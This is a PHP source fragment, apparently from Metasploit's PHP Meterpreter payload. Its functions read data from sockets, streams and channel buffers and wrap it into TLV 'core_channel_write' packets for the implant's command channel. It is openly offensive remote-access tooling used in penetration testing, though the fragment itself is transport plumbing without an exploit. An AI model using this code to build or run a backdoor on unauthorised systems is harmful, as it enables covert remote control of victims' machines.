function read($resource, $len = null)
{
global $udp_host_map;
# Max packet length is magic. If we're reading a pipe that has data but
# isn't going to generate any more without some input, then reading less
# than all bytes in the buffer or 8192 bytes, the next read will never
# return.
if (is_null($len)) {
$len = 8192;
}
#my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
$buff = '';
switch (get_rtype($resource)) {
case 'socket':
if (array_key_exists((int) $resource, $udp_host_map)) {
my_print("Reading UDP socket");
list($host, $port) = $udp_host_map[(int) $resource];
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
} else {
my_print("Reading TCP socket");
$buff .= socket_read($resource, $len, PHP_BINARY_READ);
}
break;
case 'stream':
global $msgsock;
# Calling select here should ensure that we never try to read from a socket
# or pipe that doesn't currently have data. If that ever happens, the
# whole php process will block waiting for data that may never come.
# Unfortunately, selecting on pipes created with proc_open on Windows
# always returns immediately. Basically, shell interaction in Windows
# is hosed until this gets figured out. See https://dev.metasploit.com/redmine/issues/2232
$r = array($resource);
my_print("Calling select to see if there's data on {$resource}");
while (true) {
$cnt = stream_select($r, $w = NULL, $e = NULL, 0);
# Stream is not ready to read, have to live with what we've gotten
# so far
if ($cnt === 0) {
break;
}
# if stream_select returned false, something is wrong with the
# socket or the syscall was interrupted or something.
if ($cnt === false or feof($resource)) {
my_print("Checking for failed read...");
if (empty($buff)) {
my_print("---- EOF ON {$resource} ----");
$buff = false;
}
break;
}
$md = stream_get_meta_data($resource);
dump_array($md);
if ($md['unread_bytes'] > 0) {
$buff .= fread($resource, $md['unread_bytes']);
break;
} else {
#$len = 1;
$tmp = fread($resource, $len);
$buff .= $tmp;
if (strlen($tmp) < $len) {
break;
}
}
if ($resource != $msgsock) {
my_print("buff: '{$buff}'");
}
$r = array($resource);
}
my_print(sprintf("Done with the big read loop on {$resource}, got %d bytes", strlen($buff)));
break;
default:
# then this is possibly a closed channel resource, see if we have any
# data from previous reads
$cid = get_channel_id_from_resource($resource);
$c = get_channel_by_id($cid);
if ($c and $c['data']) {
$buff = substr($c['data'], 0, $len);
$c['data'] = substr($c['data'], $len);
my_print("Aha! got some leftovers");
} else {
my_print("Wtf don't know how to read from resource {$resource}, c: {$c}");
if (is_array($c)) {
dump_array($c);
}
break;
}
}
my_print(sprintf("Read %d bytes", strlen($buff)));
return $buff;
}
function handle_resource_read_channel($resource, $data)
{
global $udp_host_map;
$cid = get_channel_id_from_resource($resource);
my_print("Handling data from {$resource}: {$data}");
# Build a new Packet
$pkt = pack("N", PACKET_TYPE_REQUEST);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
$req_id = generate_req_id();
if (array_key_exists((int) $resource, $udp_host_map)) {
list($h, $p) = $udp_host_map[(int) $resource];
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
}
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id));
# Add the length to the beginning of the packet
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
return $pkt;
}